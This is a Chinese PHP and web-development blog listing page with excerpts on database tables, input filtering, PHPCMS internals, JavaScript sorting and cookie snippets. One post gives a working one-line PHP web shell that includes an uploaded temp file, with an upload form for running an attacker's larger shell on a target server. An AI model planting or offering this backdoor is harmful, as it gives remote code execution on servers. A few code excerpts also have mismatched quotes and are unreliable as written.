预览模式: 普通 | 列表

ecmall数据库表详解

  文章分类表ecm_acategory

字段 类型 Null 默认 注释
cate_id int(10)
 
自增ID号,分类ID号
cate_name varchar(100)
 
分类的名称
parent_id int(10)
 
分类的父级ID
sort_order Tinyint(3)
 
分类排序数字标识
code varchar(10)
 
分类的代码标识
 

查看更多...

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 3569

jQuery表单验证插件

 1.  jQuery formValidator

第三方手册 http://shouce.jb51.net/phpcms/PHPCMS/formvalidator.html

2. jQuery.validate

官方网站: http://jqueryvalidation.org/

查看更多...

分类:web前端 | 固定链接 | 评论: 0 | 查看次数: 2006

php怎么过滤用户提交的数据

 htmlentities

htmlspecialchars
 
以上两个函数主要实现对用户提交的数据进行html实体的替换,这样输出到文档的代码是html实体,就不会被浏览器执行。
 
html_entity_decode
这个是上面两个函数的逆运算
 
strip_tags
这个函数的作用就是去掉所有的html和php代码,留下的就是纯文本
 
nl2br
将\n这种换行符替换为<br />, 比如用户的数据是用textarea提交的,你如果允许用户换行,就可以用这个函数处理后输出
 
addslashes
 
上面这个函数是针对数据库安全方面的,主要是防注入。如果用户提交过来的数据中有单引号,双引号,反斜线,null字符等,可以用这个函数处理后拼装到sql语句中。
 
stripslashes
这个是上面这个函数的逆运算
 
get_magic_quotes_gpc
这个作用就是取得php的magic_quotes_gpc这个配置的状态(对上面两个函数有影响)。
分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 1750

phpcmsv9 如何实现用户登录

因为有时候我们需要自己实现用户登录,比如我们用phpcms做一个微信Oauth2.0授权,授权之后直接登录,这过程中不需要用户输入账户和密码。所以我们就要搞清楚,phpcmsv9它是怎么实现用户登录的。换名话说,phpcms的php代码在什么情况下会认定这个用户已经登录了。

首先,我们肯定要去看phpcms它原生的登录程序是怎么写的,然后我们要去看它是怎么判断这个用户已经登录了。

登录程序是怎么写的?

查看更多...

分类:PHPCMS | 固定链接 | 评论: 0 | 查看次数: 3024

CentOS下安装JDK7[转]

 


1. 安装JDK1.7.0
下载完成后在取得root权限后执行:

[root@sea sea]# sudo rpm -ivh /目录/jdk-7-linux-x64.rpm

 

 

查看更多...

Tags: java

分类:WEB服务器 | 固定链接 | 评论: 0 | 查看次数: 1913

phpcmsv9 phpsso无法同步退出

phpcmsv9自带了一个phpsso_server用于多站点同步登录,还可以整合ucenter。为了不改动太多的代码,今天整合ECSHOP和PHPCMS的时候还是用了这个phpsso。ECSHOP很方便,简单配置了一下就可以和ucenter通信了。这个phpsso搞了半天没有成功和ucenter通信。经过几个小时的琢磨,最终还是成功让他们通信了。注册,登录,都可以同步,唯独在phpcms中退出登录时ECSHOP没有退出,反之确可以。

问题出现的原因: 

 首页看到了PHPCMS的登出的代码里面有一句同步登出的语句:

$synlogoutstr = $this->client->ps_member_synlogout();

 这个同步登出的代码是这样的

	/**
	 * 同步退出
	 * @param string $uid
	 * @return string javascript用户同步退出js
	 */
	public function ps_member_synlogout() {
		return $this->_ps_send("synlogout', array());
	}

查看更多...

分类:PHPCMS | 固定链接 | 评论: 0 | 查看次数: 3447

为什么phpcms的缓存不能失效

 用过sae的同学应该知道sae上面是不能写本地文件的,但PHPCMS默认的缓存就是文件缓存,并且缓存在phpcms又相当重要,如果想在sae上运行phpcms首先要解决的就是把文件缓存换掉。

查看更多...

Tags: phpcms 缓存

分类:PHPCMS | 固定链接 | 评论: 0 | 查看次数: 2873

常用排序算法之JavaScript实现

1、插入排序

 1)算法简介

  插入排序(Insertion-Sort)的算法描述是一种简单直观的排序算法。它的工作原理是通过构建有序序列,对于未排序数据,在已排序序列中从后向前扫描,找到相应位置并插入。插入排序在实现上,通常采用in-place排序(即只需用到O(1)的额外空间的排序),因而在从后向前扫描过程中,需要反复把已排序元素逐步向后挪位,为最新元素提供插入空间。

2)算法描述和实现 

  一般来说,插入排序都采用in-place在数组上实现。具体算法描述如下:

  1. 从第一个元素开始,该元素可以认为已经被排序;
  2. 取出下一个元素,在已经排序的元素序列中从后向前扫描;
  3. 如果该元素(已排序)大于新元素,将该元素移到下一位置;
  4. 重复步骤3,直到找到已排序的元素小于或者等于新元素的位置;
  5. 将新元素插入到该位置后;
  6. 重复步骤2~5。

  JavaScript代码实现:

function insertionSort(array) {
    if (Object.prototype.toString.call(array).slice(8, -1) === "Array') {
        for (var i = 1; i < array.length; i++) {
            var key = array[i];
            var j = i - 1;
            while (j >= 0 && array[j] > key) {
                array[j + 1] = array[j];
                j--;
            }
            array[j + 1] = key;
        }
        return array;
    } else {
        return 'array is not an Array!';
    }
}

 

查看更多...

分类:web前端 | 固定链接 | 评论: 0 | 查看次数: 2294

PHPCMS留言板模块

分类:PHPCMS | 固定链接 | 评论: 0 | 查看次数: 2338

迭代器模式在PHP中的使用

 什么是迭代器模式

 迭代器(Iterator)模式,又叫做游标(Cursor)模式。GOF给出的定义为:提供一种方法访问一个容器(container)对象中各个元素,而又不需暴露该对象的内部细节。

百度百科: http://baike.baidu.com/view/9791023.htm?fr=aladdin

查看更多...

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 4637

Javascript如何绑定当前的作用域

 说白了就是怎么把当前的this指针传递到内部嵌套的其它函数当中,总的来说,有两种方法。

绑定方法一: 

参考这面这篇文章(JS常用代码片段集合), 里面有介绍一种绑定函数的this指针的方法,具体用法大致如下。

查看更多...

分类:web前端 | 固定链接 | 评论: 0 | 查看次数: 2398

PHP最简单的分页公式

 写网站的时候经常会用到分页,如果自己写分页可能会被分页这个看似简单的东西搞的头大。

举个例子,我这个博客如果用普通模式看的话,首页大概有40多页的分页,现在有这样的需求:

“不管现在在哪一页,总是显示前后共10页,当前页尽可能居中。如果总数不满10页,则全部显示。前后如果超出则向后或向前递推。”

在我博客上(我博客总是显示9页)表现的就是。

这个看似简单的功能,在逻辑上还是有点复杂的。

查看更多...

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 2421

 PHPCMS有模型管理,定义好一个模型之后PHPCMS会自动生成一个编辑这个模型的内容的表单。看看PHPCMS是怎么做到这一点的。

首先找到表单页面的地址大致是这样的

/index.php?m=content&c=content&a=add&menuid=&catid=6&pc_hash=dVlnS2&pc_hash=dVlnS2

根据PHPCMSV9 乱解读 之 PHPCMS V9的MVC的介绍, 可以很方便的找到代码所在文件位于modules/content/content.php文件中。再从此文件中找到add方法,就可以看到生成表单和处理表单的代码。

这里我们不看处理表单的代码,直接看如何生成表单。

查看更多...

分类:PHPCMS | 固定链接 | 评论: 0 | 查看次数: 7422

JS常用代码片段集合

 JS实现String#repeat

var a = new Array(10+1).join('-');

绑定函数的this指针(scope)

function bind(func, obj)
{
	return function(){
		func.apply(obj, arguments);
	};
}

var obj = {
	name : "WEB应用开发",
	url  : "http://www.zeroplace.cn"
};

var func = bind(function(param){
	alert(this.name + " " + this.url + " " + param);
}, obj);

func("很不错的网站");

 获取和设置COOKIE

function setCookie(key, value, path, domain, expires, secure)
{
	var cookie = [];

	cookie.push(key + "=" + escape(value || ""));

	if (!value) {
		expires = new Date(Date.now() - 1).toGMTString();
	}

	if (path) {
		cookie.push("path=" + path);
	}

	if (domain) {
		cookie.push("domain=" + domain);
	}

	if (expires) {
		cookie.push("expires=" + expires);
	}

	if (secure) {
		cookie.push("expires");
	}


	console.log(document.cookie = cookie.join(";"));
}


function getCookie(name)
{
	var pattern = new RegExp(name + "=(.*?)(?:;|$)");
	var arr = document.cookie.match(pattern);
	if (arr) {
		return arr[1];
	} else {
		return null;
	}
}

查看更多...

Tags: js

分类:web前端 | 固定链接 | 评论: 0 | 查看次数: 2423

另类PHP一句话小马

利用了include可以把任何文件当php来解释的特性, 当我们上传一个文件的时候,会在服务器上生成一个临时文件,而$_FILES这个变量里面正好保存了这个文件的路径,所以可以直接include进来。

<?php @include($_FILES['u']['tmp_name']);

使用方式也简单构造一个html文件写入如下代码:

	<form action="http:/a.b.c.com.cn/shell.php" method="POST" enctype="multipart/form-data">
		<input type="file" name='u'>
		<button>shell</button>
	</form>
	
	from: <a href="http://www.zeroplace.cn/">www.zeroplace.cn</a>

选择你的php大马点shell运行

我测试的时候的代码就是<?php phpinfo();保存的文件名为1.txt。

分类:网络安全 | 固定链接 | 评论: 0 | 查看次数: 5019

沧海遗著SPL之SplSubject和SplObserver

 想写一些关于SPL的东西,不知道怎么开始,就挑了个最简单的,写写SplSubject和SplObserver的使用。

提纲

1. 什么时观察者模式。

2.观察者模式用到的接口

查看更多...

Tags: spl php

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 3349

PHP文件锁测验

 PHP的锁大致是两种用法,一个是在WEB并发比较高的情况下的一些写操作可能需要加锁,这可能也是php锁最原始的使用方法。另外一种就是非阻塞的一种用法,比如已经有其它进程取得了这个锁本进程直接退出。

查看更多...

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 2655

 公司之前一直用没加密的smtp服务,上周突然要求全部换成ssl的连接方式,强制停止了不使用ssl的smtp服务,导致了原本很多使用smtp的程序不能正常工作。

有一个程序原来是用PHPMailer来发邮件的,好在PHPMailer支持ssl的smtp,我以为改下端口,加下SMTPSecure设置就可以了。事实当然没那么简单,加了下面这句代码后PHPMailer一直提示不能连接到主机。

查看更多...

Tags: php openssl

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 8148

管道实现PHP与Python相互通信

 之前在公司做项目的时候碰到了一个解23个系数的回归方程的问题,当时只记得在大学的时候听数学老师讲过回归计算,后来也就还回去了。在网上也只能找到一个Python解回归方程的代码,而我用的主语言是PHP,对Python也只略懂些语法,所以只能想办法让PHP启一个Python进程再用进程间通信的方法来解决了。

 
看看管道文件的打开规则。

查看更多...

Tags: php 管道

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 4065

php回调函数必需知道的几种方法

 php回调函数的几种方法

 
PHP回调函数用的场合还是挺多的,特别是一些用到模式的地方。这篇文章就小小的总结一下PHP的回调函数的几种形式。
 
先看下PHP手册对一个函数的介绍,因为实现调用回调函数和这个函数分不开。

call_user_func_array

(PHP 4 >= 4.0.4, PHP 5)

call_user_func_array --  Call a user function given with an array of parameters

Description

mixed call_user_func_array ( callback function, array param_arr )

Call a user defined function given by function, with the parameters in param_arr

查看更多...

Tags: php 回调函数

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 7713
博主QQ: 友情链接请找我
QQ群: 灰色档案
返回顶部 关闭